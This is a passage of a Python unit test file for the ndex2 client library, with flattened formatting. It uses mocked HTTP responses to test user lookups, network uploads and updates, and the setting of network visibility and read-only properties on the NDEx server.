json=self.get_rest_admin_status_dict()) m.delete(client.DEFAULT_SERVER + '/v2/hi', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.delete('/hi', data='{"x": "y"}') self.assertEqual(res, {'hi': 'bye'}) def test_ndex2_delete_no_data(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.delete(client.DEFAULT_SERVER + '/v2/hi', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.delete('/hi') self.assertEqual(res, {'hi': 'bye'}) def test_ndex2_get_with_json_and_json_resp(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(client.DEFAULT_SERVER + '/v2/hi?x=y', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get('/hi', get_params={"x": "y"}) self.assertEqual(res, {'hi': 'bye'}) def test_ndex2_get_stream_withparams(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(client.DEFAULT_SERVER + '/v2/hi?x=y', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_stream('/hi', get_params={"x": "y"}) self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_ndex2_post_stream_withparams(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/hi', status_code=200, json={'hi': 'bye'}, request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.post_stream('/hi', post_json={"x": "y"}) self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_ndex2_put_multipart(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/hi', request_headers={'Connection': 'close'}, status_code=200) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.put_multipart('/hi', fields={"x": "y"}) self.assertEqual(res, '') def test_ndex2_post_multipart(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/hi', request_headers={'Connection': 'close'}, status_code=200) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.post_multipart('/hi', fields={"x": "y"}) self.assertEqual(res, '') def test_ndex2_post_multipart_with_querystring(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/hi?yo=1', request_headers={'Connection': 'close'}, status_code=200) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.post_multipart('/hi', {"x": "y"}, query_string='yo=1') self.assertEqual(res, '') def test_get_id_for_user_invalid_param(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() # try where None passed in and client was # also constructed with anonymous connection so # no username try: ndex.get_id_for_user(None) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertTrue('None passed in this method' in str(ne)) # try where username is not of type str try: ndex.get_id_for_user(44) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('Username must be of type str', str(ne)) # try where username is empty str try: ndex.get_id_for_user('') self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('Username cannot be empty str', str(ne)) def test_get_user_by_username(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user?username=bob' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, json={'userName': 'bob'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() res = ndex.get_user_by_username('bob') self.assertEqual('bob', res['userName']) def test_get_id_for_user_success(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user?username=bob' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, json={'externalId': '12345'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() self.assertEqual('12345', ndex.get_id_for_user('bob')) def test_get_id_for_user_httperror(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user?username=bob' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, status_code=404, text='error', headers={'Content-Type': 'application/json'}) ndex = Ndex2() try: ndex.get_id_for_user('bob') self.fail('Expected NDExNotFoundError') except NDExNotFoundError as ne: self.assertEqual('Caught 404 from server: error', str(ne)) def test_get_id_for_user_exception(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user?username=bob' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, headers={'Content-Type': 'application/json'}) ndex = Ndex2() try: ndex.get_id_for_user('bob') self.fail('Expected NDExError') except NDExError as ne: self.assertTrue('Caught JSONDecodeError:' in str(ne)) def test_get_id_for_user_no_external_id(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user?username=bob' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, json={'uhoh': 'missing'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() try: ndex.get_id_for_user('bob') self.fail('Expected NDExError') except NDExError as ne: self.assertTrue('Unable to get user id for user: bob', str(ne)) def test_get_user_by_id_invalid_user_id(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() # try passing None try: ndex.get_user_by_id(None) self.fail('Expect NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('user_id must be a str', str(ne)) # try passing empty string try: ndex.get_user_by_id('') self.fail('Expect NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('user_id cannot be an empty str', str(ne)) def test_get_user_by_id_success(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user/foo' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, json={'userName': 'foo'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() res = ndex.get_user_by_id('foo') self.assertEqual('foo', res['userName']) def test_get_user_by_id_404_error(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user/foo' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, text='some error', status_code=404) ndex = Ndex2() try: res = ndex.get_user_by_id('foo') self.fail('Expected NDExNotFoundError: ' + str(res)) except NDExNotFoundError as ne: self.assertEqual('Caught 404 from server: some error', str(ne)) def test_get_user_by_id_500_error(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user/foo' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, text='error', status_code=500) ndex = Ndex2() try: res = ndex.get_user_by_id('foo') self.fail('Expected NDExNotFoundError: ' + str(res)) except NDExError as ne: self.assertEqual('Caught 500 from server: error', str(ne)) def test_get_user_by_id_random_exception(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user/foo' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, headers={'Content-Type': 'application/json'}) ndex = Ndex2() try: res = ndex.get_user_by_id('foo') self.fail('Expected NDExError: ' + str(res)) except NDExError as ne: self.assertTrue('Caught JSONDecodeError' in str(ne)) def test_get_networksets_for_user_invalid_userid(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() # try where user id is None try: ndex.get_networksets_for_user_id(None) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('user_id must be of type str', str(ne)) # try where user id is not of type str try: ndex.get_networksets_for_user_id(4) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('user_id must be of type str', str(ne)) def test_get_networksets_for_user_invalid_limit(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() # try where limit is not int or str try: ndex.get_networksets_for_user_id('foo', limit=3.5) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertTrue('limit parameter must be of type ' 'int ' in str(ne)) def test_get_networksets_for_user_invalid_offset_type(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() # try where limit is not int or str try: ndex.get_networksets_for_user_id('foo', offset=3.5) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertTrue('offset parameter must be of type ' 'int ' in str(ne)) def test_get_networksets_for_user_invalid_offset(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() # try where limit is not int or str try: ndex.get_networksets_for_user_id('foo', offset=5) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertTrue('limit (0) parameter must be set to ' 'positive ' in str(ne)) def test_get_networksets_for_user_success(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user/foo/networksets' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, json={'hi': 'there'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() res = ndex.get_networksets_for_user_id('foo', summary_only=False, showcase=True) self.assertEqual('there', res['hi']) def test_get_networksets_for_user_httperror(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user/foo/networksets' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, status_code=404) ndex = Ndex2() try: ndex.get_networksets_for_user_id('foo') except NDExNotFoundError as ne: self.assertEqual('Caught 404 from server: ', str(ne)) def test_get_networksets_for_user_exception(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/user/foo/networksets' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(resurl, headers={'Content-Type': 'application/json'}) ndex = Ndex2() try: ndex.get_networksets_for_user_id('foo') except NDExError as ne: self.assertTrue('Caught JSONDecodeError: ' in str(ne)) def test_save_new_network_none_as_cx(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.save_new_network(None) self.fail('expected NDExInvalidCXError') except NDExInvalidCXError as ice: self.assertEqual(str(ice), 'CX is None') def test_save_new_network_invalid_as_cx(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.save_new_network('hi') self.fail('expected NDExInvalidCXError') except NDExInvalidCXError as ice: self.assertEqual(str(ice), 'CX is not a list') def test_save_new_network_empty_cx(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.save_new_network([]) self.fail('expected NDExInvalidCXError') except NDExInvalidCXError as ice: self.assertEqual(str(ice), 'CX appears to be empty') def test_save_new_network_cx_with_no_status(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/network/asdf' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/network', request_headers={'Connection': 'close'}, status_code=1, text=resurl) ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.save_new_network([{'foo': '123'}]) self.assertEqual(res, resurl) decode_txt = m.last_request.text.read().decode('UTF-8') self.assertTrue('Content-Disposition: form-data; ' 'name="CXNetworkStream"; ' 'filename="filename"' in decode_txt) self.assertTrue('Content-Type: application/' 'octet-stream' in decode_txt) self.assertTrue('{"foo": "123"}' in decode_txt) self.assertTrue('{"status": [{"' in decode_txt) self.assertTrue('"error": ""' in decode_txt) self.assertTrue('"success": true' in decode_txt) def test_save_new_network_cx_with_no_status_ndexv1(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/rest/network/asdf' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) m.post(client.DEFAULT_SERVER + '/rest/network/asCX', request_headers={'Connection': 'close'}, status_code=1, text=resurl) ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.save_new_network([{'foo': '123'}]) self.assertEqual(res, resurl) decode_txt = m.last_request.text.read().decode('UTF-8') self.assertTrue('Content-Disposition: form-data; ' 'name="CXNetworkStream"; ' 'filename="filename"' in decode_txt) self.assertTrue('Content-Type: application/' 'octet-stream' in decode_txt) self.assertTrue('{"foo": "123"}' in decode_txt) self.assertTrue('{"status": [{"' in decode_txt) self.assertTrue('"error": ""' in decode_txt) self.assertTrue('"success": true' in decode_txt) def test_save_new_network_cx_with_emptystatus_and_publicvisibility(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/network/asdf' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/network?visibility=PUBLIC', request_headers={'Connection': 'close'}, status_code=1, text=resurl) ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.save_new_network([{'foo': '123'}, {"status": []}], visibility='PUBLIC') self.assertEqual(res, resurl) decode_txt = m.last_request.text.read().decode('UTF-8') self.assertTrue('Content-Disposition: form-data; ' 'name="CXNetworkStream"; ' 'filename="filename"' in decode_txt) self.assertTrue('Content-Type: application/' 'octet-stream' in decode_txt) self.assertTrue('{"foo": "123"}' in decode_txt) self.assertTrue('{"status": [{"' in decode_txt) self.assertTrue('"error": ""' in decode_txt) self.assertTrue('"success": true' in decode_txt) def test_save_new_network_cx_with_status(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/network/asdf' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/network', request_headers={'Connection': 'close'}, status_code=1, text=resurl) ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.save_new_network([{'foo': '123'}, {"status": [{"error": "", "success": True}]}]) self.assertEqual(res, resurl) decode_txt = m.last_request.text.read().decode('UTF-8') self.assertTrue('Content-Disposition: ' 'form-data; name="CXNetworkStream"; ' 'filename="filename"' in decode_txt) self.assertTrue('Content-Type: application/' 'octet-stream' in decode_txt) self.assertTrue('{"foo": "123"}' in decode_txt) self.assertTrue('{"status": [{"' in decode_txt) self.assertTrue('"error": ""' in decode_txt) self.assertTrue('"success": true' in decode_txt) def test_update_cx_network_success(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/v2/network/asdf' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/network/someid', request_headers={'Connection': 'close'}, status_code=1, text=resurl) ndex = Ndex2(username='bob', password='warnerbrandis') cx = [{'foo': '123'}, {"status": [{"error": "", "success": True}]}] if sys.version_info.major == 3: stream = io.BytesIO(json.dumps(cx, cls=DecimalEncoder) .encode('utf-8')) else: stream = io.BytesIO(json.dumps(cx, cls=DecimalEncoder)) res = ndex.update_cx_network(stream, 'someid') self.assertEqual(res, resurl) decode_txt = m.last_request.text.read().decode('UTF-8') self.assertTrue('Content-Disposition: form-data; ' 'name="CXNetworkStream"; ' 'filename="filename"' in decode_txt) self.assertTrue('Content-Type: application/' 'octet-stream' in decode_txt) self.assertTrue('{"foo": "123"}' in decode_txt) self.assertTrue('{"status": [{"' in decode_txt) self.assertTrue('"error": ""' in decode_txt) self.assertTrue('"success": true' in decode_txt) def test_update_cx_network_success_ndexv1(self): with requests_mock.mock() as m: resurl = client.DEFAULT_SERVER + '/rest/network/asdf' m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) m.put(client.DEFAULT_SERVER + '/rest/network/asCX/someid', request_headers={'Connection': 'close'}, status_code=1, text=resurl) ndex = Ndex2(username='bob', password='warnerbrandis') cx = [{'foo': '123'}, {"status": [{"error": "", "success": True}]}] if sys.version_info.major == 3: stream = io.BytesIO(json.dumps(cx, cls=DecimalEncoder) .encode('utf-8')) else: stream = io.BytesIO(json.dumps(cx, cls=DecimalEncoder)) res = ndex.update_cx_network(stream, 'someid') self.assertEqual(res, resurl) decode_txt = m.last_request.text.read().decode('UTF-8') self.assertTrue('Content-Disposition: form-data; ' 'name="CXNetworkStream"; ' 'filename="filename"' in decode_txt) self.assertTrue('Content-Type: application/' 'octet-stream' in decode_txt) self.assertTrue('{"foo": "123"}' in decode_txt) self.assertTrue('{"status": [{"' in decode_txt) self.assertTrue('"error": ""' in decode_txt) self.assertTrue('"success": true' in decode_txt) def test_validate_network_system_properties(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() # try passing none try: ndex._validate_network_system_properties(None) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('network_properties must be a ' 'string or a dict', str(ne)) # try passing empty string try: ndex._validate_network_system_properties('') self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertTrue('Error parsing json string' in str(ne)) # try passing empty dict try: ndex._validate_network_system_properties({}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertTrue('network_properties appears to ' 'be empty' in str(ne)) # try passing invalid property try: ndex._validate_network_system_properties({'showcase': True, 'foo': 'blah'}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('foo is not a valid network system ' 'property', str(ne)) # try passing invalid readOnly property try: ndex._validate_network_system_properties({'showcase': True, 'readOnly': 'blah'}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('readOnly value must be a bool ' 'set to True or False', str(ne)) # try passing invalid showcase property try: ndex._validate_network_system_properties({'showcase': 'haha'}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('showcase value must be a bool ' 'set to True or False', str(ne)) # try passing invalid index_level property as bool try: ndex._validate_network_system_properties({'index_level': False}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('index_level value must be ' 'a string set to NONE, META, or ALL', str(ne)) # try passing invalid index_level property try: ndex._validate_network_system_properties({'index_level': 'blah'}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('index_level value must be ' 'a string set to NONE, META, or ALL', str(ne)) # try passing invalid visibility property bool try: ndex._validate_network_system_properties({'visibility': True}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('visibility value must be ' 'a string set to PUBLIC or PRIVATE', str(ne)) # try passing invalid visibility property try: ndex._validate_network_system_properties({'visibility': 'ha'}) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('visibility value must be ' 'a string set to PUBLIC or PRIVATE', str(ne)) # try passing valid dict valid_dict = {'showcase': True, 'visibility': 'PUBLIC', 'index_level': 'ALL', 'readOnly': True} res = ndex._validate_network_system_properties(valid_dict) check_dict = json.loads(res) self.assertEqual(valid_dict, check_dict) # try passing dict with validation off res = ndex._validate_network_system_properties({}, skipvalidation=True) self.assertEqual('{}', res) def test_set_network_system_properties_test_no_auth(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.set_network_system_properties('236ecfce-be48-4652-' 'b488-b08f0cc9c795', {'visibility': 'PUBLIC'}) self.fail('Expected exception') except NDExUnauthorizedError as ne: self.assertEqual('This method requires user ' 'authentication', str(ne)) def test_set_network_system_properties_invalid_propertytype(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2(username='bob', password='warnerbrandis') try: ndex.set_network_system_properties('236ecfce-be48-4652-b488-' 'b08f0cc9c795', True) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('network_properties ' 'must be a string or a dict', str(ne)) def test_set_network_system_properties_ndexv1(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) ndex = Ndex2(username='bob', password='warnerbrandis') valid_dict = {'showcase': True, 'visibility': 'PUBLIC', 'index_level': 'ALL', 'readOnly': True} try: ndex.set_network_system_properties(theuuid, valid_dict) self.fail('Expected NDExUnsupportedCallError') except NDExUnsupportedCallError as ne: self.assertEqual('This call only works with NDEx 2+', str(ne)) def test_set_network_system_properties_success(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/network/' + theuuid + '/systemproperty', request_headers={'Content-Type': 'application/json;' 'charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}, status_code=200, text='') ndex = Ndex2(username='bob', password='warnerbrandis') valid_dict = {'showcase': True, 'visibility': 'PUBLIC', 'index_level': 'ALL', 'readOnly': True} res = ndex.set_network_system_properties(theuuid, valid_dict) self.assertEqual('', res) checkdict = json.loads(m.last_request.text) self.assertEqual(valid_dict, checkdict) def test_make_network_public_noauth(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.make_network_public('236ecfce-be48-4652-b488-' 'b08f0cc9c795') self.fail('Expected exception') except NDExUnauthorizedError as ne: self.assertEqual('This method requires user authentication', str(ne)) def test_make_network_public_success(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/network/' + theuuid + '/systemproperty', request_headers={'Content-Type': 'application/json;' 'charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}, status_code=200, text='') ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.make_network_public(theuuid) self.assertEqual('', res) checkdict = json.loads(m.last_request.text) self.assertEqual({'visibility': 'PUBLIC'}, checkdict) def test_make_network_private_noauth(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.make_network_private('236ecfce-be48-4652-b488-' 'b08f0cc9c795') self.fail('Expected exception') except NDExUnauthorizedError as ne: self.assertEqual('This method requires user authentication', str(ne)) def test_make_network_private_success(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/network/' + theuuid + '/systemproperty', request_headers={'Content-Type': 'application/json;' 'charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}, status_code=200, text='') ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.make_network_private(theuuid) self.assertEqual('', res) checkdict = json.loads(m.last_request.text) self.assertEqual({'visibility': 'PRIVATE'}, checkdict) def test_make_network_public_indexed_noauth(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex._make_network_public_indexed('236ecfce-be48-4652-' 'b488-b08f0cc9c795') self.fail('Expected exception') except NDExUnauthorizedError as ne: self.assertEqual('This method requires user authentication', str(ne)) def test_make_network_public_indexed_success(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/network/' + theuuid + '/systemproperty', request_headers={'Content-Type': 'application/json;' 'charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}, status_code=200, text='') ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex._make_network_public_indexed(theuuid) self.assertEqual('', res) checkdict = json.loads(m.last_request.text) self.assertEqual({'visibility': 'PUBLIC', 'index_level': 'ALL', 'showcase': True}, checkdict) def test_make_network_public_indexed_ndexv1(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) ndex = Ndex2(username='bob', password='warnerbrandis') try: ndex._make_network_public_indexed(theuuid) self.fail('Expected NDExUnsupportedCallError') except NDExUnsupportedCallError as ne: self.assertEqual('Only 2+ of NDEx supports ' 'setting/changing index level', str(ne)) def test_set_read_only_noauth(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.set_read_only('236ecfce-be48-4652-b488-b08f0cc9c795', True) self.fail('Expected exception') except NDExUnauthorizedError as ne: self.assertEqual('This method requires user authentication', str(ne)) def test_set_read_only_true_success(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/network/' + theuuid + '/systemproperty', request_headers={'Content-Type': 'application/json;' 'charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}, status_code=200, text='') ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.set_read_only(theuuid, True) self.assertEqual('', res) checkdict = json.loads(m.last_request.text) self.assertEqual({'readOnly': True}, checkdict) def test_set_read_only_false_success(self): theuuid = '236ecfce-be48-4652-b488-b08f0cc9c795' with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/network/' + theuuid + '/systemproperty', request_headers={'Content-Type': 'application/json;' 'charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}, status_code=200, text='') ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.set_read_only(theuuid, False) self.assertEqual('', res) checkdict = json.loads(m.last_request.text) self.assertEqual({'readOnly': False}, checkdict) def test_get_network_as_cx_stream_success(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(client.DEFAULT_SERVER + '/v2/network/someid', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_network_as_cx_stream('someid') self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_get_network_as_cx_stream_success_ndexv1(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) m.get(client.DEFAULT_SERVER + '/rest/network/someid/asCX', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_network_as_cx_stream('someid') self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_get_network_aspect_as_cx_stream_success(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(client.DEFAULT_SERVER + '/v2/network/someid/aspect/sa', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_network_aspect_as_cx_stream('someid', 'sa') self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_get_network_aspect_as_cx_stream_success_ndexv1(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) m.get(client.DEFAULT_SERVER + '/rest/network/someid/asCX', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_network_aspect_as_cx_stream('someid', 'sa') self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_get_neighborhood_as_cx_stream(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/query', status_code=200, json={'hi': 'bye'}, request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_neighborhood_as_cx_stream('someid', 'query') self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_get_neighborhood_as_cx_stream_ndexv1(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) m.post(client.DEFAULT_SERVER + '/rest/network/someid/query', status_code=200, json={'hi': 'bye'}, request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_neighborhood_as_cx_stream('someid', 'query') self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_get_neighborhood(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/query', status_code=200, json={'data': [{'hi': 'bye'}]}, request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_neighborhood('someid', 'query') 